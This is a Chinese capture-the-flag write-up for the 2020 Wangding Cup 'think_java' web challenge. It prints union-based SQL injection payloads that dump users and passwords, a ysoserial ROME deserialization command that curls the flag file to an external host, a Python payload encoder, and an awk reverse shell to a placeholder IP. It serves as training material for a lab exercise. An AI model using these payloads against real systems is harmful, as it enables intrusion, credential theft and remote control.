2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520

图片[1]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

题目地址:    https://www.ctfhub.com/#/challenge

解题过程

图片[2]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科打开网站如下提示:

图片[3]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科把题目给出的class文件直接扔到IDEA里面看里面代码用jd-gui反编译或者使用fernflower反编译都可以

图片[4]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科在/common/test/sqlDict下 dbName 参数没有任何过滤带入到数据库查询 存在SQL注入漏洞。

图片[5]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科查看源代码发现swagger-ui api接口

url地址后面加上swagger-ui.html 访问如下图:

图片[6]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

sql注入语句

dbName=myapp?#' union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)#

dbName=myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#

dbName=myapp# 'union/**/select/**/group_concat(name)from(user)#

dbName=myapp#'union/**/select/**/group_concat(pwd)from(user)#

图片[7]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

返回一个auth 头:

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm82RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==

关于上面那段数据的解释:

图片[8]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

登录获得token

图片[9]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

熟悉java一看就知道是java的序列化后的base64编码(如果以aced则为java序列化后的hex编码)

然后我们把返回的data值输入到/common/user/current接口中,则显示操作成功图片[10]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化

在github下载ysoserial工具 找一个外网IP监听任意端口 在终端输入如下命令:

java -jar ysoserial-master.jar ROME "curl http://X.X.X.X -d @/flag" > freebuf.bin

使用python编写如下代码:(或者使用burp里面的编码模块)

import base64
file = open("freebuf.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print("Bearer "+ba)
file.close()

图片[11]-2020-网鼎杯-朱雀组-Web-think_java writeup – 作者:jimmy520-安全小百科

本以为能直接拿到flag 在题目提示里flag为随机命名,所以要拿到shell权限,很多小伙伴卡在这块。

使用msf生成meterpreter shell回话总是close

最终先把反弹代码写入到x.sh文件 再使用wget命令下载 然后再执行/bin/sh x.sh 命令一定要用base64编码。

awk 'BEGIN{s="/inet/tcp/0/X.X.X.X/1314";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

来源:freebuf.com 2021-04-23 19:22:58 by: jimmy520

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论